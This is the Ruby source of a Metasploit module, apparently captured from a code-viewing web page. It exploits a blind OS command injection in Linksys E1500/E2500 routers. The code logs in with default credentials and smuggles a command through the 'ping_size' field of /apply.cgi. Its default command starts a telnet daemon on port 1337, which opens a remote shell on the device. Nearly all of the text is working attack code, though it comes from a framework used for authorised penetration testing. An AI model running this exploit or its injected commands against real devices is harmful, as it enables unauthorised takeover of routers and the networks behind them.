Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linksys E1500/E2500 Remote Command Execution',13'Description' => %q{14Some Linksys Routers are vulnerable to an authenticated OS command injection.15Default credentials for the web interface are admin/admin or admin/password. Since16it is a blind os command injection vulnerability, there is no output for the17executed command. A ping command against a controlled system for can be used for18testing purposes.19},20'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '89912' ],24[ 'BID', '57760' ],25[ 'EDB', '24475' ],26[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]27],28'DisclosureDate' => '2013-02-05'29)30)3132register_options(33[34OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),35OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),36OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])37]38)39end4041def run42uri = '/apply.cgi'43user = datastore['HttpUsername']44pass = datastore['HttpPassword']4546print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")4748begin49res = send_request_cgi({50'uri' => uri,51'method' => 'GET',52'authorization' => basic_auth(user, pass)53})5455return if res.nil?56return if (res.code == 404)5758if [200, 301, 302].include?(res.code)59print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")60else61print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")62return63end64rescue ::Rex::ConnectionError65vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")66return67end6869print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])7071cmd = datastore['CMD']72# original post request:73# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&74# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="7576vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")77begin78res = send_request_cgi({79'uri' => uri,80'method' => 'POST',81'authorization' => basic_auth(user, pass),82'vars_post' => {83'submit_button' => 'Diagnostics',84'change_action' => 'gozila_cgi',85'submit_type' => 'start_ping',86'action' => '',87'commit' => '0',88'ping_ip' => '1.1.1.1',89'ping_size' => "&#{cmd}&",90'ping_times' => '5',91'traceroute_ip' => ''92}93})94rescue ::Rex::ConnectionError95vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")96return97end98print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")99print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")100end101end102103104